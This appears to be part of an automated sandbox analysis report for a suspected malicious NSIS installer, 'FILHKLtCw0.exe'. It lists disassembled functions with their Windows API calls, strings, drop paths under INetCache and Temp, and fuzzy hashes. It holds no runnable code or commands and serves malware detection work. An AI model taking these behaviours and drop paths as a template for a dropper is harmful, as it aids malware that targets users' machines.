Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1
C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
"C:\Users\user\Desktop\FILHKLtCw0.exe", xrefs: 0040584F

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\FILHKLtCw0.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3888586214
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin
API String ID: 542301482-3515500811
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(75923420,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,75923420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

RichEdit20W, xrefs: 00403AEA, 00403AF0
.DEFAULT\Control Panel\International, xrefs: 0040390A
C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
RichEd32, xrefs: 00403ADA
.exe, xrefs: 004039AC
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
_Nb, xrefs: 00403A22, 00403A8A
RichEdit, xrefs: 00403AF9
1033, xrefs: 004038BE, 0040391A
RichEd20, xrefs: 00403ACC
"C:\Users\user\Desktop\FILHKLtCw0.exe", xrefs: 004038A1
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\FILHKLtCw0.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1859281550
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\FILHKLtCw0.exe,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\FILHKLtCw0.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\FILHKLtCw0.exe,C:\Users\user\Desktop\FILHKLtCw0.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

Null, xrefs: 00402EE5
(*B, xrefs: 00402E7C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
C:\Users\user\Desktop\FILHKLtCw0.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
Inst, xrefs: 00402ED3
"C:\Users\user\Desktop\FILHKLtCw0.exe", xrefs: 00402DF4
Error launching installer, xrefs: 00402E3E
soft, xrefs: 00402EDC

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\FILHKLtCw0.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\FILHKLtCw0.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-4222525829
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

C:\Users\user\AppData\Local\Temp\nsn582.tmp, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin, xrefs: 00401796
C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll, xrefs: 0040182D, 00401849
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin$C:\Users\user\AppData\Local\Temp\nsn582.tmp$C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll$Call
API String ID: 1941528284-2331084858
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
jA, xrefs: 004031F1
... %d%%, xrefs: 0040316E

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
